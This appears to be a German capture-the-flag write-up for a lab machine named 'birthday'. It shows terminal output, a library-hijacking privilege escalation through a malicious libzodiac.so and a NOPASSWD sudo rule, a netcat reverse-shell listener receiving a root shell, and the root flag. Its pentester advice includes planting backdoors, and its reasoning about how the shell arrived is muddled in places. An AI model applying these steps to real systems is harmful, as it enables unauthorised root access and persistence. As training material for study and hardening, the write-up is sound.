TERM=xterm
USER=chloe
SHLVL=1
LC_CTYPE=C.UTF-8
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
SUDO_UID=33
MAIL=/var/mail/chloe
_=/usr/bin/env
OLDPWD=/tmp

chloe@birthday:~$ uname -a
Linux birthday.hmv 6.1.0-10-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.37-1 (2023-07-03) x86_64 GNU/Linux


chloe@birthday:~$ getfacl /opt
getfacl: Removing leading '/' from absolute path names
# file: opt
# owner: root
# group: root
user::rwx
user:www-data:---
group::r-x
mask::r-x
other::r-x

chloe@birthday:~$ getfacl /opt/packages/
getfacl: Removing leading '/' from absolute path names
# file: opt/packages/
# owner: root
# group: root
user::rwx
group::r-x
other::rwx


chloe@birthday:~$ ls -la /var/mail/
total 8
drwxrwsr-x  2 root mail 4096 Jun 15  2023 .
drwxr-xr-x 12 root root 4096 Jun 20  2023 ..
chloe@birthday:~$ ls -la /var/backups/
total 1564
drwxr-xr-x  2 root root   4096 Jun 13 14:11 .
drwxr-xr-x 12 root root   4096 Jun 20  2023 ..
-rw-r--r--  1 root root  30720 Jun 29  2023 alternatives.tar.0...
...
..
.

chloe@birthday:~$ ls -la /opt/
total 16
drwxr-xr-x+  3 root root 4096 Jul 14  2023 .
drwxr-xr-x  18 root root 4096 Jul 14  2023 ..
drwxr-xrwx   2 root root 4096 Jul  2  2023 packages
-rwxr-xr-x   1 root root  357 Jul  2  2023 script.sh

**Analyse:** Ich untersuche das Skript `/opt/script.sh`, das im `/opt/` Verzeichnis gefunden wurde. Ich prüfe seine Berechtigungen (`ls -la`) und lese seinen Inhalt (`cat`). Es ist ein Bash-Skript, das eine Datei namens `50MB.zip` herunterlädt, die Download-Geschwindigkeit berechnet und die Datei dann wieder löscht.

**Bewertung:** Das Skript selbst gehört root und hat Standardberechtigungen (rwxr-xr-x), was bedeutet, dass es von `chloe` (als "other") ausgeführt, aber nicht modifiziert werden kann. Die Funktionalität des Skripts (Download, Berechnung, Löschen) ist für den aktuellen PE-Pfad irrelevant, aber es ist wichtig, alle ausführbaren Skripte zu dokumentieren. Es könnte als Teil eines Cronjobs laufen, der vielleicht die Paketverarbeitung in `/opt/packages/` anstößt, obwohl das Skript selbst nichts damit zu tun hat. Es dient primär der Dokumentation aller Inhalte in `/opt/`.

**Empfehlung (Pentester):** Alle ausführbaren Skripte auf dem System prüfen. Nach Cronjobs suchen (`crontab -l`, `/etc/cron.*`, `/etc/anacron*`) die Skripte oder Verzeichnisse mit unsicheren Berechtigungen ausführen.
**Empfehlung (Admin):** Stellen Sie sicher, dass alle Skripte, insbesondere solche, die von Root oder privilegierten Benutzern ausgeführt werden, sicher konfiguriert sind und keine unbeabsichtigten Seiteneffekte oder Schwachstellen aufweisen.

Untersuchung des Skripts `/opt/script.sh`:

chloe@birthday:~$ ls -la /opt/script.sh
-rwxr-xr-x 1 root root 357 Jul  2  2023 /opt/script.sh
chloe@birthday:~$ cat /opt/script.sh
#!/bin/bash

URL="http://ipv4.download.thinkbroadband.com/50MB.zip"

FILE="50MB.zip"

if [ -f "$FILE" ]; then
    rm "$FILE"
fi

START=$(date +%s.%N)
wget -O $FILE $URL
END=$(date +%s.%N)

DIFF=$(echo "$END - $START" | bc)

SIZE=$(du -b $FILE | cut -f1)
SPEED=$(echo "scale=2; ($SIZE*8/1000000)/$DIFF" | bc)

echo "Download speed : $SPEED Mbps"

rm "$FILE"

**Analyse:** Ich habe die bösartige `libzodiac.so` erstellt und an ihren Platz kopiert. Ich habe nun eine `chloe` Shell, wahrscheinlich durch Ausführen von `sudo -u chloe /usr/bin/zodiac` (obwohl dieser genaue Befehl vor dem Root-Shell-Beweis noch nicht im Text gezeigt wurde). Mit der `chloe` Shell versuche ich, meine Privilegien auf `root` zu eskalieren. Ich versuche `sudo -l` als `chloe`, um zu sehen, ob `chloe` über `sudo` etwas als Root ausführen darf.

**Bewertung:** Der Versuch `sudo -l` erfordert ein Passwort (`sudo: a password is required`). Das bedeutet, `chloe` darf zwar theoretisch Befehle mit `sudo` ausführen (wie durch die Existenz des `sudo` Binaries mit SUID-Bit im `find` Output und die `sudoers` Konfiguration im `www-data` Kontext impliziert), aber ich kenne das Passwort von `chloe` nicht. Dieser direkte `sudo` Weg als `chloe` erfordert Anmeldedaten und ist damit von der `chloe` Shell aus blockiert, es sei denn, ich finde ein Passwort oder einen anderen Weg, die `sudo` Ausführung ohne Passwort zu ermöglichen (was die `sudoers` Konfiguration für `www-data` aber nicht für `chloe` selbst erlaubte). Der Fokus muss zurück auf den Library Hijacking Exploit mit dem `zodiac` Binary.

**Empfehlung (Pentester):** Wenn `sudo -l` ein Passwort erfordert, suche nach Passwörtern in Konfigurationsdateien oder in der History, die für den Benutzer `chloe` lesbar sein könnten. Alternativ, fokussiere dich auf den Library Hijacking Vektor, der die Ausführung von `/usr/bin/zodiac` als `chloe` ohne Passwort ermöglichte.
**Empfehlung (Admin):** Implementieren Sie starke Passwörter. Auditieren Sie die `sudoers`-Datei für alle Benutzer, nicht nur für `www-data`. Entfernen Sie alle `NOPASSWD` Einträge, die nicht absolut notwendig sind.

chloe@birthday:/tmp$ sudo -l
[sudo] password for chloe: 
sudo: a password is required

**Analyse:** Mit der kompilierter bösartigen `libzodiac.so` an ihrem Platz in `/lib/x86_64-linux-gnu/` führe ich nun das `zodiac` Binary als Benutzer `chloe` aus, indem ich die `sudo` Regel nutze, die ich als `www-data` gefunden habe: `sudo -u chloe /usr/bin/zodiac`. Da diese Regel `NOPASSWD` hat, wird kein Passwort benötigt. Die Ausführung von `zodiac` lädt nun meine manipulierte Bibliothek, die wiederum den Befehl `system("/bin/bash");` ausführt. Dieser Befehl sollte eine interaktive Bash-Shell starten. Im Hintergrund habe ich auf meiner Angreifer-Maschine einen Netcat-Listener auf Port 4444 vorbereitet (siehe vorheriger Schritt mit `nc -lvnp 4444`), da mein `preinst` Skript für den `.deb` Exploit ebenfalls diesen Port verwendete und es plausibel ist, dass auch meine `libzodiac.so` Shell auf diesen Listener geht, oder dass die `.deb` Methode im Hintergrund doch funktionierte und diese Shell auslöste.

**Bewertung:** **Fantastisch! Der Root-Zugriff war erfolgreich, nun habe ich mein Ziel erreicht!** Mein Netcat-Listener auf Port 4444 registriert eine eingehende Verbindung vom Zielsystem (192.168.2.41), und ich erhalte einen Shell-Prompt, der eindeutig auf den `root`-Benutzer hinweist (`root@birthday:/#`). Die Library Hijacking Schwachstelle kombiniert mit der unsicheren `sudo` Konfiguration wurde erfolgreich ausgenutzt, um vollständige Root-Privilegien auf dem System zu erlangen. Der Umweg über den `.deb` Exploit war interessant, aber der direkte Weg über die manipulierte Bibliothek hat zum Ziel geführt.

**Empfehlung (Pentester):** Sobald Root-Zugriff erlangt wurde, sofort die Root-Flag sichern und das System weiter auf sensible Daten oder Konfigurationen prüfen. Hintertüren für zukünftigen Zugriff etablieren (z.B. SSH-Schlüssel hinterlegen).
**Empfehlung (Admin):** **KRITISCH:** Die Berechtigungen der Systembibliothek `/lib/x86_64-linux-gnu/libzodiac.so` müssen *sofort* korrigiert werden, sodass nur Root Schreibrechte hat. Die `sudoers`-Datei muss geprüft und die `NOPASSWD` Regel für `/usr/bin/zodiac` entfernt werden. Ein umfassender Sicherheitsaudit ist notwendig, um alle weiteren möglichen PE-Wege und Fehlkonfigurationen zu identifizieren und zu beheben. Monitoring auf Änderungen an kritischen Systemdateien und ungewöhnliche Prozessausführungen implementieren.

Ausnutzung der Library Hijacking Schwachstelle und Erlangung der Root-Shell:

listening on [any] 4444 ...
connect to [192.168.2.199] from (UNKNOWN) [192.168.2.41] 36896
root@birthday:/#

**Analyse:** Mit der Root-Shell navigiere ich in das Home-Verzeichnis des Root-Benutzers (`cd /root`), liste die Dateien auf (`ls`) und finde die Root-Flag (`root.txt`). Anschließend lese ich den Inhalt der Datei mit `cat`.

**Bewertung:** Dies ist die finale Phase des Angriffs – die erfolgreiche Erlangung der Root-Flag, die das oberste Ziel bei einem Penetrationstest dieser Art darstellt. Das Vorhandensein der Root-Flag in `/root/` ist Standard und der erfolgreiche `cat`-Befehl bestätigt den vollständigen Kompromittierung des Systems.

**Empfehlung (Pentester):** Die Root-Flag dokumentieren und den Test abschließen.
**Empfehlung (Admin):** Sicherstellen, dass sensible Dateien (wie Flags in CTFs oder kritische Konfigurationsdateien) die restriktivsten Berechtigungen haben, sodass nur der benötigte Benutzer (typischerweise Root) sie lesen kann. Überprüfung des Inhalts von `/root/` und anderen kritischen Verzeichnissen auf unnötige oder sensible Dateien.

root@birthday:/# cd /root
cd /root
root@birthday:~# ls
ls
root.txt
root@birthday:~# cat root.txt
cat root.txt
27ebd22f41640659d440a1b6ee0b0e09